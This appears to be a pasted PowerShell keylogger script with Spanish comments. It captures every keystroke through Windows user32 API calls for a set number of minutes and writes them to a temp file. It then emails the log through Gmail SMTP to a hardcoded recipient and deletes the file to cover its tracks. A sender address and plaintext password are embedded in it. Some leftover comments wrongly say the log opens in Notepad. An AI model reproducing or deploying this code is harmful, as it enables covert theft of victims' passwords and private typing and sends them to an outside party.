· 6 years ago · Jan 07, 2020, 08:44 PM
1# Editar solo esta sección!
2
3$TimeToRun = 2
4
5$From = "disordine92@gmail.com"
6
7$Pass = "faicasino92"
8
9$To = "ppoolopp68@gmail.com"
10
11$Subject = "Keylogger Results"
12
13$body = "Keylogger Results"
14
15$SMTPServer = "smtp.gmail.com"
16
17$SMTPPort = "587"
18
19$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
20
21############################
22
23
24
25
26
27$TimeStart = Get-Date
28
29$TimeEnd = $timeStart.addminutes($TimeToRun)
30
31
32
33#requires -Version 2
34
35function Start-KeyLogger($Path="$env:temp\keylogger.txt")
36
37{
38
39 # Signatures for API Calls
40
41 $signatures = @'
42
43[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
44
45public static extern short GetAsyncKeyState(int virtualKeyCode);
46
47[DllImport("user32.dll", CharSet=CharSet.Auto)]
48
49public static extern int GetKeyboardState(byte[] keystate);
50
51[DllImport("user32.dll", CharSet=CharSet.Auto)]
52
53public static extern int MapVirtualKey(uint uCode, int uMapType);
54
55[DllImport("user32.dll", CharSet=CharSet.Auto)]
56
57public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
58
59'@
60
61
62
63 # load signatures and make members available
64
65 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
66
67
68
69 # create output file
70
71 $null = New-Item -Path $Path -ItemType File -Force
72
73
74
75 try
76
77 {
78
79
80
81 # create endless loop. When user presses CTRL+C, finally-block
82
83 # executes and shows the collected key presses
84
85 while ($TimeEnd -ge $TimeNow) {
86
87 Start-Sleep -Milliseconds 40
88
89
90
91 # scan all ASCII codes above 8
92
93 for ($ascii = 9; $ascii -le 254; $ascii++) {
94
95 # get current key state
96
97 $state = $API::GetAsyncKeyState($ascii)
98
99
100
101 # is key pressed?
102
103 if ($state -eq -32767) {
104
105 $null = [console]::CapsLock
106
107
108
109 # translate scan code to real code
110
111 $virtualKey = $API::MapVirtualKey($ascii, 3)
112
113
114
115 # get keyboard state for virtual keys
116
117 $kbstate = New-Object Byte[] 256
118
119 $checkkbstate = $API::GetKeyboardState($kbstate)
120
121
122
123 # prepare a StringBuilder to receive input key
124
125 $mychar = New-Object -TypeName System.Text.StringBuilder
126
127
128
129 # translate virtual key
130
131 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
132
133
134
135 if ($success)
136
137 {
138
139 # add key to logger file
140
141 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
142
143 }
144
145 }
146
147 }
148
149 $TimeNow = Get-Date
150
151 }
152
153 }
154
155 finally
156
157 {
158
159 # open logger file in Notepad
160
161 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
162
163 Remove-Item -Path $Path -force
164
165 exit 1
166
167 }
168
169}
170
171
172
173# records all key presses until script is aborted by pressing CTRL+C
174
175# will then open the file with collected key codes
176
177Start-KeyLogger